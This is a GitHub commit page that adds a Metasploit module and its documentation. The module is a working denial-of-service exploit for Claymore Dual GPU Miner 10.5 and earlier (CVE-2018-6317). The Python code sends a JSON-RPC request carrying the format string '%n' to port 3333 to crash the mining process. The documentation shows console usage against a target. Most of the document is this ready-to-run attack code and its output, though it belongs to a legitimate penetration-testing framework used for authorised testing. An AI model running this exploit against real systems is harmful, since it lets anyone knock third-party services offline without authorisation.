Skip to content

Commit 242f2d3

Browse files
committed
Land rapid7#9512, Add Claymore Dual GPU Miner<= 10.5 DoS module
2 parents 6734e53 + 0abee03 commit 242f2d3

File tree

2 files changed

+92
-0
lines changed

2 files changed

+92
-0
lines changed
Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
## Vulnerable Application
2+
3+
Vulnerable application versions include:
4+
Claymore Dual GPU Miner<=10.5
5+
6+
## Verification Steps
7+
8+
1. Start msfconsole
9+
2. Do: `use auxiliary/dos/tcp/claymore_doc`
10+
3. Do: `set rhost`
11+
4. Do: `run`
12+
5. check your miner.
13+
14+
## Scenarios
15+
16+
### Claymore Dual GPU Miner/10.0 - window7
17+
18+
```
19+
msf5 > use auxiliary/dos/tcp/claymore_dos
20+
msf5 auxiliary(dos/tcp/claymore_dos) > show options
21+
22+
Module options (auxiliary/dos/tcp/claymore_dos):
23+
24+
Name Current Setting Required Description
25+
---- --------------- -------- -----------
26+
rhost yes The target address
27+
rport 3333 yes The target port
28+
29+
msf5 auxiliary(dos/tcp/claymore_dos) > set rhost 127.0.0.1
30+
rhost => 127.0.0.1
31+
msf5 auxiliary(dos/tcp/claymore_dos) > run
32+
33+
[*] Starting server...
34+
[*] Creating sockets...
35+
[*] Auxiliary module execution completed
36+
```
37+
38+
Lines changed: 54 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,54 @@
1+
#!/usr/bin/env python
2+
# Note, works with both python 2.7 and 3
3+
4+
5+
import socket
6+
import json
7+
8+
from metasploit import module
9+
10+
metadata = {
11+
'name': 'Claymore Dual GPU Miner Format String dos attack',
12+
13+
'description': '''
14+
Claymore’s Dual GPU Miner 10.5 and below is vulnerable to a format strings vulnerability. This allows an
15+
unauthenticated attacker to read memory addresses, or immediately terminate the mining process causing
16+
a denial of service.
17+
''',
18+
19+
'authors': [
20+
'res1n', # Vulnerability disclosure
21+
'bluebird', # Metasploit external module (Python)
22+
],
23+
24+
'date': '2018-02-06',
25+
26+
'references': [
27+
{'type': 'cve', 'ref': 'CVE-2018-6317'},
28+
{'type': 'url', 'ref': 'https://www.exploit-db.com/exploits/43972/'},
29+
{'type': 'url', 'ref': 'https://github.com/nanopool/Claymore-Dual-Miner'}
30+
],
31+
32+
'type': 'dos',
33+
'options': {
34+
'rhost': {'type': 'address', 'description': 'The target address', 'required': True, 'default': None},
35+
'rport': {'type': 'port', 'description': 'The target port', 'required': True, 'default': 3333},
36+
}}
37+
38+
39+
def run(args):
40+
host = args['rhost']
41+
port = int(args['rport'])
42+
module.log("Creating sockets...", 'info')
43+
44+
exp = json.dumps({'id': 1, 'jsonrpc': '1.0', 'method': '%n'}).encode()
45+
try:
46+
s = socket.create_connection((host, port), 10)
47+
s.send(exp)
48+
s.close()
49+
except socket.error:
50+
module.log("connect error exit")
51+
52+
53+
if __name__ == "__main__":
54+
module.run(metadata, run)

0 commit comments

Comments
 (0)